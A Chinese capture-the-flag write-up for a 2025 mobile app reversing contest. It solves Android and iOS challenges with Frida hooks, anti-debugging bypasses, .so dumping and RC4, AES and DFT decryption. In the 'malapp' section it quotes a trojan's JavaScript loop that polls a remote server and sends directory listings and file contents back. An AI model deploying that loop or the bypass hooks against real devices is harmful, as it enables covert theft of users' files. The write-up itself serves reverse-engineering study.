2025数字中国APP初赛
数据加密#
ezenc#
通用算法最好识别了,真的是这样吗?
native 里面,检查长度 22,然后有个像是状态机的东西,恢复算法如下
#include <math.h>
#include <stdio.h>
void print_db(double *db, int len) {
for (int i = 0; i < len; i++) {
printf("%f%c", db[i], (i != 0 && ((i + 1) % 4) == 0) ? '\n': '\t');
}
printf("\n");
}
double out1enc[256] = {
2019.0, 136.471471, -8.025564, -102.391288,
33.455527, 184.705093, 29.993235, 82.585939,
-75.967191, 1.628784, -125.456008, -89.0,
-125.456008, 1.628784, -75.967191, 82.585939,
29.993235, 184.705093, 33.455527, -102.391288,
-8.025564, 136.471471
};
double out2enc[256] = {
0.00000000,-1.01411709e2, 4.84099900, -32.94549299,
1.08724899, -60.41983400 ,-24.54677200, 1.53041989e2,
54.22366999, 2.89004899, 1.62250214e2,-0.00000000,
-1.62250214e2,-2.89004899, -54.22366999,-1.53041989e2,
24.54677200,60.41983400,-1.08724899,32.94549299,
-4.84099900, 1.01411709e2
};
int main(int argc, char *argv[])
{
int len = 22;
double out1[256];
double out2[256];
double tmp[256] = { 0 };
double input[256];
char *flag = "0123456789012345678901";
for (int i = 0; i < len; i++) {
input[i] = (double)flag[i];
}
printf("Input:\n");
print_db(input, len);
double x = 0;
for (int i = 0; i < len; i++) {
out1[i] = 0;
out2[i] = 0;
for (int j = 0; j < len; j++) {
x = (double)i * 6.28318531 * (double)j / len;
out1[i] += input[j] * cos(x); // tmp 数组全为 0,忽略
out2[i] += -input[j] * sin(x);
}
}
printf("out1:\n");
print_db(out1, len);
printf("out2:\n");
print_db(out2, len);
return 0;
}
hook 验证算法
function print_db(db_ptr, len) {
var db = ptr(db_ptr);
for (let i = 0; i < len; i++) {
console.log(db.add(8*i).readDouble());
}
}
function hook() {
var libezenc = Process.findModuleByName("libezenc.so");
var encrypt = libezenc.base.add(0x1BE4);
var ret = libezenc.base.add(0x1A38);
var obj = {
s: ptr(0),
tmp: ptr(0),
out1: ptr(0),
out2: ptr(0),
};
Interceptor.attach(encrypt, {
onEnter: function() {
obj.s = this.context.x0;
obj.tmp = this.context.x1;
obj.out1 = this.context.x2;
obj.out2 = this.context.x3;
var len = 22;
}
})
Interceptor.attach(ret, {
onEnter: function (){
var len = 22;
console.log("s:")
print_db(obj.s, len);
console.log("tmp:")
print_db(obj.tmp, len);
console.log("out1:")
print_db(obj.out1, len);
console.log("out2:")
print_db(obj.out2, len);
}
})
console.log("Hooked!");
}
setTimeout(hook, 2000);
矩阵相乘,Sage 解一下即可
from sage.all import *
LEN = 22
from math import sin, cos, pi
b1 = [
2019.0, 136.471471, -8.025564, -102.391288,
33.455527, 184.705093, 29.993235, 82.585939,
-75.967191, 1.628784, -125.456008, -89.0,
-125.456008, 1.628784, -75.967191, 82.585939,
29.993235, 184.705093, 33.455527, -102.391288,
-8.025564, 136.471471
]
b1 = vector(b1)
b2 = [
0.00000000,-1.01411709e2, 4.84099900, -32.94549299,
1.08724899, -60.41983400 ,-24.54677200, 1.53041989e2,
54.22366999, 2.89004899, 1.62250214e2,-0.00000000,
-1.62250214e2,-2.89004899, -54.22366999,-1.53041989e2,
24.54677200,60.41983400,-1.08724899,32.94549299,
-4.84099900, 1.01411709e2
]
b2 = vector(b2)
A1 = []
A2 = []
for i in range(LEN):
tmp1 = []
tmp2 = []
for j in range(LEN):
tmp1.append(cos(i*j/LEN*2*pi))
tmp2.append(sin(i*j/LEN*2*pi))
A1.append(tmp1)
A2.append(tmp2)
# 只用一个矩阵解,解不唯一
A1 = Matrix(A1)
A2 = Matrix(A2)
X = (A1+A2).solve_right(b1+b2)
# 不知道为什么字符顺序是乱的
bs = ([round(x) for x in X])
print(chr(bs[0]).encode() + bytes(bs[1:][::-1]))
b'flag{th3_df7_S0_3asy!}'
是个 DFT(离散傅立叶变换)
magic#
magic
长度 22,检测 flag 头 flag{
和尾 }
,扔进 native 里加密。
flag{0123456789012345}
,不过这样输进去之后,程序会直接卡死。
跟踪 native,查看字符串,有反调试踪迹
接受数据包作为 key,如果有调试就修改加密初始向量。
包里的到的数据是 12345566778843217034737357723064
即
0x12,0x34,0x55,0x66,0x77,0x88,0x43,0x21,0x70,0x34,0x73,0x73,0x57,0x72,0x30,0x64
先 hook 解密出 key
setTimeout(function() {
var lib = Process.getModuleByName("libnative-lib.so");
var next = new NativeFunction(lib.base.add(0x2954), 'uint8', ['uint8']);
console.log(new Uint8Array(lib.base.add(0x5100).readByteArray(16)));
let tmp = 0;
let key = [0x12,0x34,0x55,0x66,0x77,0x88,0x43,0x21,0x70,0x34,0x73,0x73,0x57,0x72,0x30,0x64];
let result = "";
for (let i = 0; i < 16; i++) {
tmp = next(tmp);
key[i] ^= tmp;
result += key[i].toString(16).padStart(2, '0');
}
console.log(result);
}, 1000);
然后查看 aesEncrypt,发现 S 被修改过的,修改脚本解密即可。这里的 aes 是 https://github.com/boppreh/aes
import aes
cipher = aes.AES(bytes.fromhex("ed52a00afc9a8279e70a7eb77498e9d4"))
r = cipher.decrypt_block(bytes.fromhex("60579834a6ee69d0999224ef933457c3"))
print(r)
# b'3a7e1d9c0b8f4e56'
flag{3a7e1d9c0b8f4e56}
babyapk#
简单的安卓逆向
简单异或,直接调用函数即可
if (Java.available) {
var mainActivity;
Java.perform(() => {
var MainActivity = Java.use("com.example.createso.MainActivity");
MainActivity.onCreate.overload('android.os.Bundle').implementation = function (bundle) {
mainActivity = this;
console.log(this.baby_xor(Java.array("I", [1,2,3,4,5,6,7])))
console.log(this.baby_xor(Java.array("I", [16,103,74,79,20,99,78])))
var enc = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
console.log(String.fromCharCode.apply(null, this.baby_xor(Java.array("I", enc))))
this.onCreate(bundle);
}
});
}
flag{1873832fa175b6adc9b1a9df42d04a3c}
GoodLuck#
一个简单的算法逆向 flag格式:flag{youget}
带了混淆,jeb 自带反混淆。
看到这几个数字想到 md5(其实是 AI 想的😂)然后把密文扔进 cmd5 里面查一下就有了
flag{r9d3jv2}
逆向工程#
偷天换日#
一个算法逆向
进行了一堆虚拟机检测,真机无所谓,直接在 Native 层进行 Check。发现在 JNI_OnLoad 里面进行了一些 Java 层的函数调用。
交叉搜索发现,这些字符串都在 .init_array 中的函数中被加密了。可以 frida hook获取,然后生成 idapython 代码进行 patch。
var ea_start = 0x36010
var ea_end = 0x36500
// find with idapython
// import idautils
// for head in idautils.Heads(0x36010, 0x36500): print(hex(head), end=",")
var heads = [0x36010,0x36024,0x36030,0x36040,0x36060,0x36080,0x360a0,0x360c0,0x360e0,0x36100,0x36118,0x36130,0x36160,0x36184,0x36190,0x361d0,0x361e0,0x36208,0x36214,0x36218,0x36220,0x36250,0x36264,0x3626c,0x36280,0x36292,0x362a0,0x362b4,0x362be,0x362c0,0x362dc,0x362e0,0x362fc,0x36306,0x36310,0x36330,0x36350,0x36360,0x36370,0x36390,0x363b0,0x363c0,0x363e0,0x363fc,0x36410,0x36440,0x36468,0x36470,0x364a0,0x364b4,0x364c0,0x364d8,0x364e0,0x364f8,]
function hook() {
var lib = Process.findModuleByName("libgoodluck1.so");
for (let i = 0; i < heads.length; i++) {
let addr = lib.base.add(heads[i]);
let cstr = ptr(addr).readCString()
if (cstr.length != 0) {
console.log(`ida_bytes.patch_bytes(${heads[i]}, b"${cstr}"); ida_bytes.create_strlit(${heads[i]},${cstr.length},ida_nalt.STRTYPE_C);`)
// console.log(`${heads[i]}:${cstr.length}: ${cstr}`)
}
}
}
hook()
patch 完了之后,就能分析逻辑了,这里推荐插件 hrtng,可以自动标出完整字符串。(如果标的不对,就删掉函数重新创建)
获取 cc.dat 并进行了 RC4,这里可以自己解也可以 hook,直接用赛博厨子解了。
扔进赛博厨子就有魔法棒,Base58 解得 flag
flag{j#n$j@m^,*4}
dumpme#
try dump me!
打开就报错,换成安卓10就没问题了😂
没看到 JNI 相关内容,搜索字符串找到这。
搜索了一下 Dobby,这似乎是个 hook 框架。
https://github.com/jmpews/Dobby
观察到app生成了一个子进程,被其父进程调试
从 frida 启动,无法启动;直接 attach 也不行。查看logcat,logcat 打印出了 spawn 时候的报错
出题人还是非常好心的,帮我把反调试的位置打印出来了。
观察到这个 0x26 还有个地方有调用
也一起 patch 了。但是打包失败,那还是 frida 吧
分析发现会调用一个检测反调试的函数两次,然后判断第一次和第二次的结果。不相等就 jmp 0x26,所以这里全部设置成一样的值。就能成功反调试
var linker64 = Process.findModuleByName("linker64")
var call_constructors = linker64.base.add(0x50C00); // find with ida
console.log("find call_constructors at ", call_constructors);
var hooked = false;
Interceptor.attach(call_constructors, {
onEnter: function(args) {
var libshell = Process.getModuleByName("libshell.so");
if (!hooked) {
Interceptor.attach(libshell.base.add(0x1B87C), {
onLeave: function(retval) {
console.log(`Return with ${retval}`)
this.context.x0 = 0x8f1197b2;
}
})
console.log("Hooked!");
hooked = true;
}
console.log(`${libshell.name} ${libshell.base} Calling ${args[0]}`)
}
})
接下来就是 dump so 了。注意最下面的 dumpso() 必须是动态的,即程序完全加载之后再取消注释
function dumpso() {
var ranges = Process.enumerateRanges('r--');
var fname = `/data/user/0/com.appgame.app/libshell_dump.so`;
var file = new File(fname, "wb");
for (let i = 0; i < ranges.length; i++) {
// if (ranges[i].file.path.indexOf("libshell.so") != -1) {
let obj = ranges[i];
let header = new Uint8Array(ptr(obj.base).readByteArray(4));
// console.log(`Header: ${JSON.stringify([...header])}`)
if (JSON.stringify([...header]) == "[127,69,76,70]") {
if (ranges[i].file) {
var name = obj.file.path;
if (name.indexOf("libshell.so") != -1) {
console.log(`Find elf at ${obj.base}`)
console.log(`with name ${name}`);
console.log(`with base ${obj.base}`);
for (let j = 0; j < 10; j++) {
let obj = ranges[i+j];
var buf = ptr(obj.base).readByteArray(obj.size);
file.write(buf);
}
}
}
}
}
file.close();
console.log(`dump done!`);
}
// dumpso();
然后修复,https://github.com/F8LEFT/SoFixer
./SoFixer-Linux-64 -s libshell_dump.so -o libshell.so.fixed -m 0x71aa60c000 -d
可以看到,已经修复成功了。
搜字符串,发现是个 RC4,不懂是做什么的
不会是自己实现了个 dex 解析吧
换个思路,既然已经加载进来了,那各种局部变量和方法都可以随便访问了。检查一下有疑点的类和方法
先看看 Checker
function dumpClass(obj) {
var clazz = obj.class;
console.log("=== Methods ===");
var methods = clazz.getDeclaredMethods();
for (var i = 0; i < methods.length; i++) {
var method = methods[i];
console.log("- " + method.toString());
}
console.log("\n=== Fields ===");
var fields = clazz.getDeclaredFields();
for (var j = 0; j < fields.length; j++) {
var field = fields[j];
field.setAccessible(true); // 允许访问 private 字段
try {
var value = field.get(obj); // 获取字段值
console.log("- " + field.getName() + " = " + value);
} catch (e) {
console.log("- " + field.getName() + " = <error: " + e + ">");
}
}
}
var ck = Java.use("com.appgame.app.Checker")
dumpClass(ck);
=== Methods ===
- private byte[] com.appgame.app.Checker.encrypt(java.lang.String)
- public boolean com.appgame.app.Checker.check(java.lang.String)
- public byte[] com.appgame.app.Checker.enc(java.lang.String)
=== Fields ===
- encryptedBytes = [B@f7eca56
[Pixel 4 XL::com.appgame.app ]-> console.log(ck.encryptedBytes.value)
90,45,3,-62,95,121,25,-2,-90,35,-59,34,-37,-101,83,46,79,-90,39,-65,-38,-106,108,23,-30,93,17,58,103,41,0,-71
经过尝试,enc和 encrypt 效果是一样的。而且加密和解密一样
[Pixel 4 XL::com.appgame.app ]-> ck.enc("a")
[
93
]
[Pixel 4 XL::com.appgame.app ]-> ck.enc(String.fromCharCode(93))
[
97
]
var ck = Java.use("com.appgame.app.Checker").$new();
var aa_enc = ck.enc("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
var flag_enc = ck.encryptedBytes.value;
var flag = "";
for (let i = 0; i < 32; i++) {
flag += String.fromCharCode(aa_enc[i] ^ "a".charCodeAt(0) ^ flag_enc[i]);
}
console.log(flag);
flag{Shel1_1s_V3ryEasyF0r_You!!}
IOSApp(还在研究)#
安全审计员审查发现revealFlag函数比较可疑,请分析代码,帮她找到与之相关的flag
搜索字符串看到神秘密文
全部拼起来就有了
from base64 import b64decode
print(b64decode("ZmxhZ3tvbGRlc3RfdHJpY2tfaW5fdGhlX2Jvb2tzfQ=="))
flag{oldest_trick_in_the_books}
但是看了师傅的 WP, 这是个假 flag,在另一处有真 flag
WASMSAW#
程序被混淆了,用 Jeb
frida 附加上去就被杀。在 .init_array 看到了反调试
hook 绕过
var linker64 = Process.findModuleByName("linker64")
var call_constructors = linker64.base.add(0x50C00); // find with ida
console.log("find call_constructors at ", call_constructors);
var hooked = false;
function bypass() {
console.log(`x8 = ${this.context.x8}, x9 = ${this.context.x9}`)
this.context.x9 = this.context.x8;
}
Interceptor.attach(call_constructors, {
onEnter: function(args) {
var lib = Process.getModuleByName("libjluusat.so");
console.log("find call_constructors at ", call_constructors);
if (!hooked) {
Interceptor.attach(lib.base.add(0x1CFA34), {
onEnter: bypass
});
Interceptor.attach(lib.base.add(0x1CF934), {
onEnter: bypass
});
hooked = true;
console.log("hooked!");
}
console.log(`${lib.name} ${lib.base} Calling ${args[0]}`)
}
})
先加载了个 lua,在 apk/res/load.lua
下,在线反编译 https://luadec.metaworm.site
-- filename: @load.lua1
-- version: lua52
-- line: [0, 0] id: 0
test = function()
-- line: [3, 50] id: 1
local r0_1 = luajava.bindClass("java.nio.ByteBuffer")
local r1_1 = luajava.bindClass("dalvik.system.InMemoryDexClassLoader")
local r2_1 = luajava.bindClass("java.lang.reflect.Array")
local r6_1 = r0_1:wrap((function(r0_2)
-- line: [11, 32] id: 2
assert(#r0_2 % 2 == 0, "Invalid hex length")
local r1_2 = math.floor(#r0_2 / 2)
local r2_2 = r0_1:allocate(r1_2)
for r6_2 = 0, r1_2 - 1, 1 do
local r7_2 = r6_2 * 2 + 1
local r8_2 = r0_2:sub(r7_2, r7_2 + 1)
local r9_2 = tonumber(r8_2, 16)
assert(r9_2, "Invalid hex char: " .. r8_2)
if r9_2 > 127 then
r9_2 = r9_2 - 256
end
r2_2:put(r6_2, r9_2)
end
return r2_2:array()
end)("6465780a30333500a6034259c5618857dd1a91f47c3073c191377ce908b38d7840060000700000007856341200000000000000008805000025000000700000000b000000040100000900000030010000010000009c0100000d000000a4010000010000000c020000140400002c0200000e030000160300002503000034030000370300003c0300003f0300004303000057030000780300008b030000a2030000b6030000ca030000e5030000000400000e0400002104000026040000290400002d04000032040000360400003904000041040000600400006304000071040000740400007d0400008f0400009b040000b0040000b5040000ba040000c9040000d3040000030000000700000008000000090000000a0000000b0000000c0000000d0000000e00000012000000160000000400000000000000e80200000600000003000000f00200000500000006000000000000000600000007000000f00200000600000008000000f00200001200000009000000000000001300000009000000f802000014000000090000000003000015000000090000000803000002000600110000000100000019000000010000001b0000000200050000000000020006001f000000030001001c000000030004001d000000040002001e00000005000500000000000700050000000000070003001700000007000200230000000800070021000000080008002200000002000000010000000500000000000000100000000000000071050000810500000100010001000000d4020000040000007010070000000e000400010003000100d8020000390000001a000f001a0118007110040001000c011a0220006e20050021000c0112126e200c0021001a021a006e300b0031021a030200712000003000281c0d036e10060003000c03220107007010080001001a0201006e20090021000c016e20090031000c036e100a0003000c037120010030000e000000020000001a0001000101041d07000e000c01000e87694d5b5c1b1e011a1000000200000006000600010000000600000001000000050000000200000005000500010000000a00063c696e69743e000d486f6f6b206661696c65643a20000d486f6f6b2073756363657373210001490003494c4c00014c00024c4c00124c616e64726f69642f7574696c2f4c6f673b001f4c636f6d2f737a7a672f6a6c75757361742f537472696e67486f6f6b65723b00114c6a6176612f6c616e672f436c6173733b00154c6a6176612f6c616e672f457863657074696f6e3b00124c6a6176612f6c616e672f4f626a6563743b00124c6a6176612f6c616e672f537472696e673b00194c6a6176612f6c616e672f537472696e674275696c6465723b00194c6a6176612f6c616e672f7265666c6563742f4669656c643b000c537472696e67486f6f6b65720011537472696e67486f6f6b65722e6a61766100035441470001560002564c0003564c4c0002565a00015a0006617070656e64001d636f6d2e737a7a672e6a6c75757361742e4d61696e4163746976697479000164000c6469676974616c6368696e610001650007666f724e616d6500106765744465636c617265644669656c64000a6765744d6573736167650013686f6f6b4d61696e41637469766974794b657900036b65790003736574000d73657441636365737369626c650008746f537472696e67009b017e7e44387b226261636b656e64223a22646578222c22636f6d70696c6174696f6e2d6d6f6465223a226465627567222c226861732d636865636b73756d73223a66616c73652c226d696e2d617069223a312c227368612d31223a2266616365646634316262643238623536336431653965303963356637326437633563613539386435222c2276657273696f6e223a22382e322e322d646576227d0001000200001a02818004ac040109c40401170f000000000f000000000000000100000000000000010000002500000070000000020000000b0000000401000003000000090000003001000004000000010000009c010000050000000d000000a401000006000000010000000c02000001200000020000002c0200000320000002000000d40200000110000005000000e802000002200000250000000e030000002000000100000071050000052000000100000081050000031000000100000084050000001000000100000088050000"))
local r7_1 = r2_1:newInstance(r0_1, 1)
r2_1:set(r7_1, 0, r6_1)
return luajava.new(r1_1, r7_1, androidContext:getClassLoader())
end
这串十六进制解析之后是个 dex,用于修改 key 变量的。
可以看到 so 里面的 compareBase 在调用 wasm
有个 wasm,分析下,ghidra
有三个函数
so 里面可以通过字符串信息看到调用情况,再跟踪 JNI 的字符串解析,可以看到 add_input 传入的是明文, add_target 传入的是 key digitalchina
看看 compare,这里很有 RC4 的特征
密文是这个
尝试直接解密
from Crypto.Cipher import ARC4
dumps = [0x5b6029bbe6fba6fd,
0xa5ac51ccbf77d54b,
0x362b770b4d5c486d,
0x8084aefd8bbf99ef,][::-1]
enc = b""
for _ in dumps:
enc += _.to_bytes(8, 'little')
key = b"digitalchina"
cipher = ARC4.new(key)
plain = cipher.decrypt(bytes(enc))
成功解密
flag{1ee76c960b519ea804a736fd1f0ea673}
通信安全#
malapp(未完成)#
native 非常大,不过几分钟也能分析完
简单异或,key 是 Qhi7YF1r0RNj62X5u7iR
看 OK
就行,整个数据包发送完成之后放在了 OK
var url = getURL();
function generateSessionId() {
let date = new Date();
let timestamp = date.getTime();
let random = Math.floor(Math.random() * 1000);
return timestamp.toString() + random.toString().padStart(3, '0');
}
var session_id = generateSessionId();
function executeCommand(command) {
let command_type = command.command_type;
let args = command.args;
if (command_type == "list_dir") {
let fileslist = listDir(args[0]);
let body = {
session_id: session_id,
result: fileslist.join("\n")
};
let jsonString = JSON.stringify(body);
let response = httpPost(url+"/result", jsonString);
}
if (command_type == "read_file") {
let file_path = args[0];
let file_content = readFile(file_path);
let hexContent = encryption.my_encryption(file_content);
let body = {
session_id: session_id,
result: hexContent
};
let jsonString = JSON.stringify(body);
let response = httpPost(url+"/result", jsonString);
}
}
function heartbeat() {
let body = {
session_id: session_id
};
let jsonString = JSON.stringify(body);
let response = httpPost(url+"/heartbeat", jsonString);
let responseObj = JSON.parse(response);
if (responseObj.data) {
executeCommand(responseObj.data);
}
}
function main111() {
// real?
let ret = encryption.my_encryption('123');
while (true) {
heartbeat();
sleep(1000);
}
} main111();
观察请求 /heartbeat
的数据包,第 88 号
{"code":0,"message":"OK","data":{"command_type":"read_file","args":["/storage/emulated/0/DCIM/Camera/IMG_20250312_185709.jpg"]}}
以及 98 号
{"session_id":"1741828739223266","result":"00458c2ba99e8f209cbe6105df0f789ef056f1e4906139407320e2e0d46cd2db"}
ok,开始解密。
搜索函数 encryption ,找到这 JsExecutor::SetupEncryption
V8_WARN_UNUSED_RESULT MaybeLocal<Value> Call ( Local< Context > context,
Local< Value > recv,
int argc,
Local< Value > argv[]
)
https://v8docs.nodesource.com/node-4.8/d5/d54/classv8_1_1_function.html
断点拿到 context 是 0x134abe8
我艹,RSA 攻击,还得学😭
MedSecureAdmin(未完成)#
MedSecureAdmin 500PT 通信安全 一个http服务和加密系统组成,尝试破解该系统就可获取flag。
if (Java.available) {
Java.perform(() => {
var MainActivity = Java.use("com.google.medsecureadmin.MainActivity");
var key = MainActivity.lII.value;
var enc = MainActivity.ll.value;
var Encrypt = Java.use("com.google.medsecureadmin.LI");
var rc4_enc = [];
for (let i = 0; i < enc.length; i++) {
rc4_enc.push(enc[i] ^ key[i % key.length])
}
var dec = (Encrypt.$new(key).ll(rc4_enc));
console.log(String.fromCharCode.apply(null, dec));
});
}
// @dm1n234
rc4 拿到用户名。
密码在 native 层校验。
8 个字节为一组, @
为 key 进行加密
很多这种加密,这里 -index
指的是 (-0x3a & 0x3f)
,LSR 指令只对低 6 位作用。效果就是从左数的第 index 位
看起来像是个 DES,不过解不出来,还得再研究。。。
这个木马在干啥#
这是个恶意木马样本,前面抓了个数据包,现在发现app服务器无法访问了,请你看看木马在干啥?
if (Java.available) {
Java.perform(() => {
var ac = Java.use("com.ctf.backdoor.MainActivity");
console.log(ac.ooxx("ezAGDYwENV/al9r0udClbQ=="));
});
}
简单 hook
[Pixel 4 XL::com.ctf.backdoor ]-> flag{7$1%j&6gh4}
我的传输安全吗?#
小明是个技术宅男,今年大年30还在让测试同学开启测试服务器,完成公司风控sdk功能的测试。看了一会春晚,小明觉得没意思,就去测试了,测试过程中在路由器上抓到了一些报文数据,因为看不懂内容,就先保存成了bin文件,你能帮忙看看嘛?
加密
字符串异或加密过了,dump 出来
var heads = [0x38008,0x38010,0x38034,0x38040,0x38058,0x38070]
function hook() {
var lib = Process.findModuleByName("libinfocollectsdk.so");
for (let i = 0; i < heads.length; i++) {
let addr = lib.base.add(heads[i]);
let cstr = ptr(addr).readCString()
if (cstr.length != 0) {
console.log(`ida_bytes.patch_bytes(${heads[i]}, b"${cstr}"); ida_bytes.create_strlit(${heads[i]},${cstr.length},ida_nalt.STRTYPE_C);`)
// console.log(`${heads[i]}:${cstr.length}: ${cstr}`)
}
}
}
hook()
可以看到注册了 ooxx
常规 RC4,长度检查为 16
不过这里的 Key 是根据时间随机生成的,根据题目提示,需要爆破大年三十的一整天。
> date -d '2025-01-28 00:00:00' +%s
1737993600
> date -d '2025-01-29 00:00:00' +%s
1738080000
> date -d '2025-01-30 00:00:00' +%s
1738166400
https://gist.github.com/manicmaniac/def5d32f897afc8b651bdbe71b2c0586
#include "arc4.h"
#include <stdio.h>
#include <stdlib.h>
char TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-={}[]";
char KEY_TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
int main(int argc, char *argv[])
{
for (unsigned int sec = 1737993600; sec < 1738166400; sec++) {
char message[1000] = {0x2a,0x1d,0x74,0xbb,0xc1,0x03,0xd4,0x7e,0xf3,0x34,0xa2,0x8e,0x57,0xd1,0x8d,0x62};
int message_len;
int i;
unsigned char key[17] = { 0 };
srand(sec);
for (int i = 0; i < 16; i++) {
key[i] = KEY_TABLE[rand() % 62];
}
arc4_state state;
arc4_init(&state, key, 16);
arc4_crypt(&state, message, 16);
int allnice = 1;
for (int i = 0; i < 16; i++) {
int nice = 0;
for (int j = 0; j < 80; j++) {
if (TABLE[j] == message[i]) {
nice = 1;
break;
}
}
if (nice == 0) {
allnice = 0;
break;
}
}
if (allnice)
printf("%X: \033[1;92m%s\033[0m\n",sec, message);
}
return 0;
}
> gcc -o main main.c arc4.c
> ./main
6798CC95: flag{ik*klme#$3}